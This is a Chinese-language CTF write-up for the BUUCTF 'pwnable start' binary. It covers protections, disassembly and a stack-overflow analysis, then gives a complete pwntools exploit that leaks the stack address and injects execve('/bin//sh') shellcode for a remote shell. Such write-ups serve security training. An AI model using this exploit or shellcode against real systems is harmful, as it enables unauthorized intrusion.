pwnable start

前提

查看文件保护

[*] '/root/pwn/buuctf/pwnable_start/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

静态分析

程序汇编代码如下：

start:     file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
 8048060:	54                   	push   %esp
 8048061:	68 9d 80 04 08       	push   $0x804809d
 804806e:	68 43 54 46 3a       	push   $0x3a465443
 8048073:	68 74 68 65 20       	push   $0x20656874
 8048078:	68 61 72 74 20       	push   $0x20747261
 804807d:	68 73 20 73 74       	push   $0x74732073
 8048082:	68 4c 65 74 27       	push   $0x2774654c
 8048087:	89 e1                	mov    %esp,%ecx
 8048089:	b2 14                	mov    $0x14,%dl
 804808b:	b3 01                	mov    $0x1,%bl
 804808d:	b0 04                	mov    $0x4,%al
 804808f:	cd 80                	int    $0x80
 ; write(1,esp,0x14)
 8048091:	31 db                	xor    %ebx,%ebx
 8048093:	b2 3c                	mov    $0x3c,%dl
 8048095:	b0 03                	mov    $0x3,%al
 8048097:	cd 80                	int    $0x80
 ; read(0,esp,0x3c) 
 8048099:	83 c4 14             	add    $0x14,%esp     ; 栈溢出
 804809c:	c3                   	ret    
0804809d <_exit>:
 804809d:	5c                   	pop    %esp
 804809e:	31 c0                	xor    %eax,%eax
 80480a0:	40                   	inc    %eax
 80480a1:	cd 80                	int    $0x80

思路分析

1. 目前信息：

   • 返回到esp+0x14处，但esp处可读入0x3c长度数据，存在栈溢出
   • No RELRO
   • No canary found
   • NX disabled
   • No PIE

2. 思路

   • 保护全关，考虑ret2shellcode，ret2shellcode需要先泄漏栈地址，利用栈溢出第一次ret到8048087处，这时栈顶刚好是程序一开始压栈的esp，并且传递给ecx，接着write系统调用将基址泄漏出来，另外二次写入的地址也是这个泄露出来的基址，常规ret2shellcode即可获得shell，需要注意的是最后返回到esp+0x14处，所以shellcode也要对应抬高栈帧

exp

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/pwnable_start/start'
io = remote('node4.buuoj.cn', 29235)
#io = process(pwnfile)
padding = 0x14
leak_addr = 0x8048087
io.sendafter("Let's start the CTF:", flat(['a'*padding, leak_addr]))
esp = u32(io.recv(4))
log.success("esp:"+hex(esp))
shellcode = asm("""
    xor edx,edx;
    xor ecx,ecx;
    push edx;
    push 0x68732f6e;
    push 0x69622f2f;
    mov ebx,esp;
    mov eax,0xb;
    int 0x80;
    """)
log.success("shellcode lenth:"+hex(len(shellcode)))
payload = flat(['a'*padding, esp+padding, shellcode])
io.send(payload)
io.interactive()